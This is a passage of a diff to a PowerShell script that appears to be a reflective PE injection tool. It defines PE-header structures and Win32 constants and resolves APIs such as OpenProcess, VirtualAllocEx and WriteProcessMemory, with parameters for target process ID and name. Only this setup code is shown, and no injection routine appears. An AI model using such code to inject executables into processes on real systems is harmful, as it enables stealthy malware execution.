[UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null - $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR - - #Struct IMAGE_EXPORT_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null - $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES - - return $Win32Types - } - - Function Get-Win32Constants - { - $Win32Constants = New-Object System.Object - - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 - $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 - $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 - - return $Win32Constants - } - - Function Get-Win32Functions - { - $Win32Functions = New-Object System.Object - - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc - - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx - - $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy - $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) - $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset - - $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA - $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) - $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary - - $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) - $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - - $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal - - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree - - $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx - $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) - $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx - - $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect - $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect - - $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA - $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) - $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) - $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle - - $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary - $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) - $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess - - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject - - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, + + [Parameter(Position = 4, Mandatory = $true)] + [Bool] + $ForceASLR + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | 